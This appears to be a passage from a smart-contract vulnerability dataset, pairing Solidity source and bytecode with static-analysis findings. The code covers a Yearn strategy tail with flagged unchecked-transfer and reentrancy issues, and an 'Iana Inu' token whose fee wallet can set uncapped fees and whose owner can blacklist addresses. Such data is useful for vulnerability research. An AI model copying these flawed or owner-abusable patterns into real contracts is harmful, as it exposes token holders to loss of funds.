// withdraw rest of rewards from YEARN
rewards = withdrawFromYearn(rewards.sub(ethBalance));
}
// get DEA and send to Vault
if(rewards > 0){
controller.buyForStrategy(
rewards,
vault.getRewardToken(),
address(vault)
);
}
}
function withdrawFromYearn(uint256 ethAmount) private returns(uint256){
uint256 yShares = yweth.balanceOf(address(this));
uint256 sharesToWithdraw = ethAmount.div(
yweth.pricePerShare()
).mul(1 ether);
require(yShares >= sharesToWithdraw, "Not enough shares");
return yweth.withdraw(sharesToWithdraw, address(controller));
}
function calculateRewards() public view returns(uint256){
uint256 yShares = yweth.balanceOf(address(this));
uint256 yETHBalance = yShares.mul(
yweth.pricePerShare()
).div(1 ether);
yETHBalance = yETHBalance.mul(100 - yearFeesPercent).div(100);
if(yETHBalance > lastBalance){
return yETHBalance - lastBalance;
}
return 0;
}
function pendingBalance() public view returns(uint256){
uint256 vaultBalance = vault.totalSupply(2);
if(vaultBalance < lastBalance){
return 0;
}
return vaultBalance.sub(lastBalance);
}
function getLastEpochTime() public view returns(uint256){
return lastEpochTime;
}
function setYearnFeesPercent(uint256 _val) public onlyOwner{
yearFeesPercent = _val;
}
function setOperator(address _addr) public onlyOwner{
operator = _addr;
}
function setController(address _controller, address _vault) public onlyOwner{
if(_controller != address(0)){
controller = IController(_controller);
}
if(_vault != address(0)){
vault = IStakeAndYield(_vault);
}
}
function emergencyWithdrawETH(uint256 amount, address addr) public onlyOwner{
require(addr != address(0));
payable(addr).transfer(amount);
}
function emergencyWithdrawERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner {
StakedToken(_tokenAddr).transfer(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063ba5224581161007c578063ba522458146102a2578063d02e27ac146102aa578063f2fde38b146102c7578063f77c4791146102ed578063fbfa77cf146102f5578063fc0c546a146102fd57610142565b80638da5cb5b1461022e5780638f014f18146102365780638f1c56bd1461023e578063b3ab15fb14610246578063b3f5e0081461026c57610142565b8063570ca7351161010a578063570ca735146101d857806357b4d18e146101e0578063715018a6146101e85780637b7d6c68146101f057806388c417891461021e57806389c614b81461022657610142565b8063159450061461014757806316caf8c7146101755780633e50de301461018f5780633fc8cef3146101975780635487c577146101bb575b600080fd5b6101736004803603604081101561015d57600080fd5b50803590602001356001600160a01b0316610305565b005b61017d6103ab565b60408051918252519081900360200190f35b61017d6103b1565b61019f610506565b604080516001600160a01b039092168252519081900360200190f35b610173600480360360208110156101d157600080fd5b5035610515565b61019f61067c565b61017d61068b565b610173610733565b6101736004803603604081101561020657600080fd5b506001600160a01b03813581169160200135166107d5565b61017d610887565b61017d61088d565b61019f610893565b61019f6108a2565b61017d6108b1565b6101736004803603602081101561025c57600080fd5b50356001600160a01b03166108b7565b6101736004803603606081101561028257600080fd5b506001600160a01b03813581169160208101359091169060400135610931565b61017d610a11565b610173600480360360208110156102c057600080fd5b5035610a17565b610173600480360360208110156102dd57600080fd5b50356001600160a01b0316610a74565b61019f610b6c565b61019f610b7b565b61019f610b8a565b61030d610b99565b6000546001600160a01b0390811691161461035d576040805162461bcd60e51b815260206004820181905260248201526000805160206111a2833981519152604482015290519081900360640190fd5b6001600160a01b03811661037057600080fd5b6040516001600160a01b0382169083156108fc029084906000818181858888f193505050501580156103a6573d6000803e3d6000fd5b505050565b60035481565b600854604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561040157600080fd5b505afa158015610415573d6000803e3d6000fd5b505050506040513d602081101561042b57600080fd5b505160085460408051634ca9858360e11b815290519293506000926104c392670de0b6b3a7640000926104bd926001600160a01b03909216916399530b0691600480820192602092909190829003018186803b15801561048a57600080fd5b505afa15801561049e573d6000803e3d6000fd5b505050506040513d60208110156104b457600080fd5b50518590610b9d565b90610bff565b90506104e260646104bd60045460640384610b9d90919063ffffffff16565b90506002548111156104fc57600254810392505050610503565b6000925050505b90565b6009546001600160a01b031681565b61051d610893565b6001600160a01b0316336001600160a01b031614806105465750600a546001600160a01b031633145b610580576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600061058a61068b565b90506105aa6105a5670de0b6b3a76400006104bd8486610b9d565b610c41565b426001556002546105bb9082610dda565b60025560055460408051633caef61b60e21b815290516000926001600160a01b03169163f2bbd86c916004808301926020929190829003018186803b15801561060357600080fd5b505afa158015610617573d6000803e3d6000fd5b505050506040513d602081101561062d57600080fd5b5051600354909150600090610643908390610e34565b905080156106765760038290556000610668670de0b6b3a76400006104bd8488610b9d565b905061067381610e76565b50505b50505050565b600a546001600160a01b031681565b6005546040805163bd85b03960e01b815260026004820152905160009283926001600160a01b039091169163bd85b03991602480820192602092909190829003018186803b1580156106dc57600080fd5b505afa1580156106f0573d6000803e3d6000fd5b505050506040513d602081101561070657600080fd5b505160025490915081101561071f576000915050610503565b60025461072d908290610e34565b91505090565b61073b610b99565b6000546001600160a01b0390811691161461078b576040805162461bcd60e51b815260206004820181905260248201526000805160206111a2833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6107dd610b99565b6000546001600160a01b0390811691161461082d576040805162461bcd60e51b815260206004820181905260248201526000805160206111a2833981519152604482015290519081900360640190fd5b6001600160a01b0382161561085857600780546001600160a01b0319166001600160a01b0384161790555b6001600160a01b0381161561088357600580546001600160a01b0319166001600160a01b0383161790555b5050565b60045481565b60015481565b6000546001600160a01b031690565b6008546001600160a01b031681565b60025481565b6108bf610b99565b6000546001600160a01b0390811691161461090f576040805162461bcd60e51b815260206004820181905260248201526000805160206111a2833981519152604482015290519081900360640190fd5b600a80546001600160a01b0319166001600160a01b0392909216919091179055565b610939610b99565b6000546001600160a01b03908116911614610989576040805162461bcd60e51b815260206004820181905260248201526000805160206111a2833981519152604482015290519081900360640190fd5b826001600160a01b031663a9059cbb83836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b1580156109e057600080fd5b505af11580156109f4573d6000803e3d6000fd5b505050506040513d6020811015610a0a57600080fd5b5050505050565b60015490565b610a1f610b99565b6000546001600160a01b03908116911614610a6f576040805162461bcd60e51b815260206004820181905260248201526000805160206111a2833981519152604482015290519081900360640190fd5b600455565b610a7c610b99565b6000546001600160a01b03908116911614610acc576040805162461bcd60e51b815260206004820181905260248201526000805160206111a2833981519152604482015290519081900360640190fd5b6001600160a01b038116610b115760405162461bcd60e51b815260040180806020018281038252602681526020018061115b6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6007546001600160a01b031681565b6005546001600160a01b031681565b6006546001600160a01b031681565b3390565b600082610bac57506000610bf9565b82820282848281610bb957fe5b0414610bf65760405162461bcd60e51b81526004018080602001828103825260218152602001806111816021913960400191505060405180910390fd5b90505b92915050565b6000610bf683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061105e565b6000610c4b6103b1565b905080821115610cd4576007546001600160a01b031663f007d926610c708484610e34565b306040518363ffffffff1660e01b815260040180838152602001826001600160a01b0316815260200192505050600060405180830381600087803b158015610cb757600080fd5b505af1158015610ccb573d6000803e3d6000fd5b50505050610ce9565b610ce6610ce18284610e34565b610e76565b90505b801561088357600754600554604080516369940d7960e01b815290516001600160a01b0393841693637fc095319386939116916369940d7991600480820192602092909190829003018186803b158015610d4257600080fd5b505afa158015610d56573d6000803e3d6000fd5b505050506040513d6020811015610d6c57600080fd5b5051600554604080516001600160e01b031960e087901b16815260048101949094526001600160a01b0392831660248501529116604483015251606480830192600092919082900301818387803b158015610dc657600080fd5b505af1158015610673573d6000803e3d6000fd5b600082820183811015610bf6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000610bf683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611100565b600854604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610ec657600080fd5b505afa158015610eda573d6000803e3d6000fd5b505050506040513d6020811015610ef057600080fd5b505160085460408051634ca9858360e11b81529051929350600092610f8892670de0b6b3a764000092610f82926001600160a01b03909216916399530b0691600480820192602092909190829003018186803b158015610f4f57600080fd5b505afa158015610f63573d6000803e3d6000fd5b505050506040513d6020811015610f7957600080fd5b50518790610bff565b90610b9d565b905080821015610fd3576040805162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f7567682073686172657360781b604482015290519081900360640190fd5b60085460075460408051627b8a6760e11b8152600481018590526001600160a01b0392831660248201529051919092169162f714ce9160448083019260209291908290030181600087803b15801561102a57600080fd5b505af115801561103e573d6000803e3d6000fd5b505050506040513d602081101561105457600080fd5b5051949350505050565b600081836110ea5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156110af578181015183820152602001611097565b50505050905090810190601f1680156110dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816110f657fe5b0495945050505050565b600081848411156111525760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156110af578181015183820152602001611097565b50505090039056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a264697066735822122024372bd06fc2229fa2765f3014dd67e078f3d388e97de02c10460d675078118d64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 4,051 |
0x8b6b25385f05bd44f0ace759624b4058faa44cb6
|
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Iana is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
address payable private _feeAddrWallet1 = payable(0x2F9cDBBb4d46864c3ac9dcf887F2b77b269921B0);
address payable private _feeAddrWallet2 = payable(0x2F9cDBBb4d46864c3ac9dcf887F2b77b269921B0);
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 4;
uint256 private _feeAddr2 = 6;
string private constant _name = "Iana Inu";
string private constant _symbol = "IANA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600881526020017f49616e6120496e75000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600c8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f49414e4100000000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600d8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3